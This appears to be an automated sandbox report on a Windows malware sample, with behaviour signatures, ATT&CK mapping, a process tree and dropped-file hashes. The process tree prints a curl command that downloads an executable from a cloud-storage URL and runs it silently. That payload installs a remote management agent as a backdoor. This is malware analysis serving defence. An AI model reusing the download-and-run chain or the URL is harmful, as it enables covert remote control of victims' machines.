Overview

overview

7

Static

static

3

Q1949114311.exe

windows10-2004-x64

7

Q1949114311.exe

windows11-ltsc_2024-x64

7

RiMe.dll

windows10-2004-x64

3

RiMe.dll

windows11-ltsc_2024-x64

3

odexl32.dll

windows10-2004-x64

3

Resubmissions

09/10/2026, 12:39

261009-pvsppaex6j6

09/10/2026, 12:31

261009-pqex2aba477

Analysis

  • user interaction
    yes
  • max time kernel
    138s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/10/2026, 12:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Q1949114311.exe
  • Size 1.9MB
  • Sample261009-pqex2aba47
  • SHA256 c74f55247aa2c72001024bd977c869cb5adce6f8604a4d32329f015b73ae2a49
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
backdoordefense_evasiondiscoveryexecutionratspywarestealertrojan

Malware Config

Signatures

  • DCAgent remote management tool 2 IoCs

    DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor

    backdoorrat
  • Downloads MZ/PE file 1 IoCs
  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 7 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 21 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

    discoverydefense_evasion
  • Executes dropped EXE 25 IoCs
  • Loads dropped DLL 54 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies trusted root certificate store through registry 1 TTPs 8 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 31 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • System Location Discovery: System Language Discovery 1 TTPs 45 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 10 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 24 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Q1949114311.exe
    "C:\Users\Admin\AppData\Local\Temp\Q1949114311.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4616
    • C:\ProgramData\L')],[!(',`G\XFQueryResource.exe
      "C:\ProgramData\L')],[!(',`G\XFQueryResource.exe"
      2⤵
      • Enumerates connected drives
      • Enumerates video capture drivers
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Windows\SysWOW64\rundll32.exe" "C:\ProgramData\L')],[!(',`G\RIME.dll",_vmclientcore@16 "C:\ProgramData\L')],[!(',`G\XFQueryResource.exe"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6092
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\SysWOW64\rundll32.exe" "C:\ProgramData\L')],[!(',`G\RIME.dll",_vmclientcore@16 "C:\ProgramData\L')],[!(',`G\XFQueryResource.exe"
          4⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4604
      • C:\Windows\SysWOW64\cMd.eXe
        "C:\Windows\system32\cMd.eXe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5876
        • C:\Windows\SysWOW64\curl.exe
          curl -L -o C:\ProgramData\setup1.exe "https://001-1493328175.cos.ap-jakarta.myqcloud.com/yan01/setup1.exe"
          4⤵
          • Downloads MZ/PE file
          • System Location Discovery: System Language Discovery
          PID:240
        • C:\ProgramData\setup1.exe
          C:\ProgramData\setup1.exe /S
          4⤵
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:4632
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\test\setup1.vbs"
            5⤵
            • Executes a VBScript file via the Windows Script Host.
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious use of WriteProcessMemory
            PID:4032
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\test\_tmp_install.bat" "
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4828
              • C:\Windows\system32\msiexec.exe
                msiexec /i UEMSAgent.msi TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\test\DMRootCA-Server.crt" DS_ROOT_CRT="C:\test\DMRootCA.crt" /qn /l*v "C:\test\msi_install.log"
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:2740
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:432
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3680
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DE4A401958B6E793FE37C94E296EAA12
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:940
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
        2⤵
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies trusted root certificate store through registry
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:6028
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
          7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3052
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
          bin\dcpatchscan.exe -y 1
          3⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5164
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3476
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1704
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2724
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
            4⤵
              PID:4184
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
            3⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5912
            • C:\Windows\SysWOW64\systeminfo.exe
              systeminfo.exe
              4⤵
              • System Location Discovery: System Language Discovery
              • Gathers system information
              PID:2188
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            PID:5888
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
            bin\dcinventory.exe -i postinstallation 0 1
            3⤵
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3984
            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
              metroapps.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:5652
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1752
      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5948
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Checks SCSI registry key(s)
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5084
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
            3⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            PID:3808
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
          7 0 0
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:4968
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
          bin\dcstatusutil.exe RequestAgentSlotFromServer
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:4488
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          PID:3732
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:5544
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          PID:1380
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
          3 0 0
          2⤵
          • Drops file in Program Files directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1952
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
            bin\dcinventory.exe -p processor compatibility
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:3872
        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s postnotify SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ SYSTEM 0 1
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\metroapps.exe
            metroapps.exe
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:1684
          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe
            bin\dcuninstallsw.exe
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5424

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            2
            T1059

            Visual Basic

            1
            T1059.005

            Windows Command Shell

            1
            T1059.003

            Persistence

            Privilege Escalation

            Defense Evasion

            Modify Registry

            1
            T1112

            Subvert Trust Controls

            2
            T1553

            Install Root Certificate

            2
            T1553.004

            Credential Access

            Credentials from Password Stores

            1
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Peripheral Device Discovery

            3
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            4
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            2
            T1016

            Internet Connection Discovery

            1
            T1016.001

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Video Capture

            1
            T1125

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e5b3f4c.rbs
            • Path C:\Config.Msi\e5b3f4c.rbs
            • Size 58KB
            • SHA256 63d93168578a23e006914b07656c8ae9324ddc96e78097746daf8075affd3870
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e5b3f51.rbs
            • Path C:\Config.Msi\e5b3f51.rbs
            • Size 546B
            • SHA256 b89d7992c3775b20b5cec9c28d11094f1bd5fdb86fc331bdc478b0785c240f6c
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            client.p12
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
            • Size 1002B
            • SHA256 e8996cc303213a60ff5feb7dd8665c1fff26135ef45a4fd8de895a89932d8500
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            7za.exe
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
            • Size 802KB
            • SHA256 f00836a63be7ebf14e1b8c40100c59777fe3432506b330927ea1f1b7fd47ee44
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ClientAuthHandler.dll
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
            • Size 2.3MB
            • SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            DevExe64.exe.config
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
            • Size 174B
            • SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Lato-Bold.eot
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
            • Size 250KB
            • SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Lato-Medium.eot
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
            • Size 245KB
            • SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            agent_binaries.7z
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
            • Size 14.6MB
            • SHA256 6d5bf676a5800214126df113bbf68a8b3f6ea051ccfbf212c11927df89035082
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ca-certs.zip
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ca-certs.zip
            • Size 160B
            • SHA256 7e6debd55c669504ffd364e96b1e539c5d6839472887ecd739ba79b155c62fa1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            cfgUpdate.exe
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe
            • Size 62KB
            • SHA256 7232bb0e4842bf2f8a370dce70df60c72560416a5bb317650cf88afbd7acb820
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            cold_normal_msghldr.gif
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif
            • Size 536B
            • SHA256 fc7d90a7546fb0f8c8ad6e617f74d185be15f85aaf5d329919bc2776887bc9d1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            dcagentregister.exe
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
            • Size 92KB
            • SHA256 430aad28ddd50d0026f7e547764b2f4cd7c54204519e119614895068397904dc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dcagentservice.exe
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
            • Size 1.2MB
            • SHA256 23fa8f503da68dd5724b136f9f401ab747db352e5edd8e2c277bf7426f774773
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dcpatchscan.exe
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
            • Size 3.3MB
            • SHA256 e3200c70077193f3decf5896fded35b3cce2034aec5517178a24e35a665abfd0
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            hot_mover_msghldr.gif
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hot_mover_msghldr.gif
            • Size 172B
            • SHA256 c9657b6062e0798cfb5e39be8d8d1546d901ee339dde4915c82b40460a205f9e
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            resources.exe
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.exe
            • Size 318KB
            • SHA256 7e311d65ca1a0461cc6bda079efdcbd4f2f0a7967c2f09be02f2b62b97eb4848
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            topmiddle.bmp
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\topmiddle.bmp
            • Size 1016B
            • SHA256 bb6b032f562a0578070b18e1002c22bec4520cf191f11384af316a0ae33b8cea
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            ui-icons_444444_256x240.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png
            • Size 6KB
            • SHA256 eaf7c7ee2747275dda6c53e731a10db1a7b15f4fbb46e1b69d6bb2056bc9fd81
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ui-icons_555555_256x240.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png
            • Size 6KB
            • SHA256 5d04051dfd9d2d740355404f98a683d1ec0feb2fca7d76e533c1a6e5ce92dd2e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ui-icons_777620_256x240.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777620_256x240.png
            • Size 4KB
            • SHA256 9dbe4a0d03feed6f65eb2560a0a8b4ba4264545ee8fd31c1763a3b219d0328d6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ui-icons_777777_256x240.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png
            • Size 6KB
            • SHA256 e75b27211e16fcf94715168001bb7055ca376d46f928110ba3d0825232452e5a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ui-icons_cc0000_256x240.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_cc0000_256x240.png
            • Size 4KB
            • SHA256 02891575d4358e9edde3e42d94057f8e9f82a9d64376f71ee86cef149d30537e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            ui-icons_ffffff_256x240.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_ffffff_256x240.png
            • Size 6KB
            • SHA256 b6b06deef2b924cc3835d63f4883d47882734a33e71b212d917a68cede3b8e9d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            AgentApplicationResources.properties2032.tmp
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties2032.tmp
            • Size 98KB
            • SHA256 fb1321f35dacb680e3cefb846f65f657b7141ecaaac61ecea2a009f6a0434426
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            OSDetection.json
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
            • Size 15KB
            • SHA256 d4a4d290a60e27dde19bb6b6183da79ebb8a254bd25ffa41f8c5d3d67f8c2702
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            OSDetection.json
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
            • Size 28KB
            • SHA256 e7adadaa6b10ec1011abdc290111ef696da1e94bbb66856b7066e9ecb145b521
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            configuration-settings-dc.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml
            • Size 261KB
            • SHA256 db2751fd3ef07f03c99e5b117f2806f627470d629d4dd79f619dc8ea51f9d805
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-br.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-br.xml
            • Size 54KB
            • SHA256 200c5b769c540ea6cfcf8b311b3cfbe950b2f93406020deca59cd31773a6c9d8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-edb.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml
            • Size 389KB
            • SHA256 be1f87e03f3fd0cb7fc75784db831a31cb3c809cb08d4dbf784d6ac832382534
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-framework.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
            • Size 415KB
            • SHA256 9e2dcf836433b648d592cf5ea82af6d44cc6f0cb8625436dc164dda3601df2a7
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-mc.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-mc.xml
            • Size 62KB
            • SHA256 43d6385cd675c9b3217f5d59437f887806cd8ca1a56aa49916b999dcd8fc621b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-onpremise.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
            • Size 109KB
            • SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-pm.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml
            • Size 278KB
            • SHA256 73c9afdb65406c39f529eb6461b60b91352160a6ab53cf6f1d1c033ad5baf61f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary-vul.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-vul.xml
            • Size 163KB
            • SHA256 052ff066f5ca62c9d79312f15341789b4c4851c0e0f67e02eb3bed5454c1bd53
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            data-dictionary.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
            • Size 1.6MB
            • SHA256 0c6236f2f6794c79fb2795bea6eb04775d94ea8079ce9d92502236bfb448a706
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dynamic-variables.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml
            • Size 28KB
            • SHA256 6df9a28cfd8d76f1e41e6f9fcdf28eb8fa3b5a5d67015ba51fdf1c76980bde1d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            meta-data.xml2044.tmp
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\meta-data.xml2044.tmp
            • Size 8KB
            • SHA256 8317b9373ebc802ca10379b70acec3a9f0dda4bd26d7bcd242ae3e8239acf7d2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            wmi-classes.xml
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml
            • Size 44KB
            • SHA256 86467edb2cd13dccd9ff7204361db996f5043f9a1e0414cc40d60aeee9873857
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dcagent.dll
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
            • Size 3.1MB
            • SHA256 15ad7ce2ebfda80a19bde288e71b7c63c1b3cd71416b7ee2df6504610de44883
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Lato.woff
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
            • Size 36KB
            • SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            drop_down_icon.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
            • Size 449B
            • SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            info.png
            • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
            • Size 2KB
            • SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
